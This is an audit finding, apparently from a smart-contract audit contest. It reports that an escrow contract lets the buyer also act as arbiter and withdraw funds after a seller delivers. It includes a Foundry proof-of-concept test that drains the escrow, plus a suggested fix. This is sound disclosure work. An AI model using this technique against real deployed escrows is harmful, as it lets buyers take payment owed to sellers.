40,000 USDC
View results
Submission Details
Severity: low
Valid

Buyer and arbiter can set to the same address

Summary

While README intends arbiter as trusted role, escrow does not prevent arbiter and buyer being set to the same address.

Vulnerability Details

After seller provides service, buyer can call initiateDispute and immediately call resolveDispute to withdraw tokens.

Impact

Seller does not get paid for service.

Add following test to unit folder:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {EscrowFactory} from "../../src/EscrowFactory.sol";
import {EscrowTestBase} from "../EscrowTestBase.t.sol";
import {IEscrow, Escrow} from "../../src/Escrow.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {ERC20MockFailedTransfer} from "../mocks/ERC20MockFailedTransfer.sol";
import {DeployEscrowFactory} from "../../script/DeployEscrowFactory.s.sol";
contract EscrowAttack is Test, EscrowTestBase {
EscrowFactory public escrowFactory;
address public constant SOME_DEPLOYER = address(4);
IEscrow public escrow;
uint256 public buyerAward = 0;
function setUp() external {
DeployEscrowFactory deployer = new DeployEscrowFactory();
escrowFactory = deployer.run();
}
function testArbiter() public {
//Buyer deploys contract
vm.startPrank(BUYER);
ERC20Mock(address(i_tokenContract)).mint(BUYER, PRICE);
ERC20Mock(address(i_tokenContract)).approve(address(escrowFactory), PRICE);
escrow = escrowFactory.newEscrow(PRICE, i_tokenContract, SELLER, BUYER, ARBITER_FEE, SALT1);
vm.stopPrank();
address arbiter = escrow.getArbiter();
address buyer = escrow.getBuyer();
console.log("aribter address:");
console.log(arbiter);
console.log("buyer address:");
console.log(buyer);
//After seller provides service
console.log("seller provides service");
console.log("============================");
//Buyer/Arbiter can manipulate the contract
vm.startPrank(BUYER);
uint256 balanceBeforeAttack = ERC20Mock(address(i_tokenContract)).balanceOf(address(escrow));
console.log("Escrow balance before attack:");
console.logUint(balanceBeforeAttack);
escrow.initiateDispute();
escrow.resolveDispute(balanceBeforeAttack - ARBITER_FEE);
uint256 balanceAfterAttack = ERC20Mock(address(i_tokenContract)).balanceOf(address(escrow));
console.log("Escrow Balance after attack:");
console.logUint(balanceAfterAttack);
vm.stopPrank();
}
}
console.log:
arbiter address:
0x0000000000000000000000000000000000000001
buyer address:
0x0000000000000000000000000000000000000001
seller provides service
============================
Escrow balance before attack:
1000000000000000000
Escrow Balance after attack:
0

Tools Used

Foundry

Recommendations

constructor(
uint256 price,
IERC20 tokenContract,
address buyer,
address seller,
address arbiter,
uint256 arbiterFee
) {
//@audit arbiter is supposed to be trusted role but can be set to buyer
+ if(buyer == arbiter) revert();
if (address(tokenContract) == address(0)) revert Escrow__TokenZeroAddress();
if (buyer == address(0)) revert Escrow__BuyerZeroAddress();
if (seller == address(0)) revert Escrow__SellerZeroAddress();
if (arbiterFee >= price) revert Escrow__FeeExceedsPrice(price, arbiterFee);
if (tokenContract.balanceOf(address(this)) < price) revert Escrow__MustDeployWithTokenBalance();
i_price = price;
i_tokenContract = tokenContract;
i_buyer = buyer;
i_seller = seller;
i_arbiter = arbiter;
i_arbiterFee = arbiterFee;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.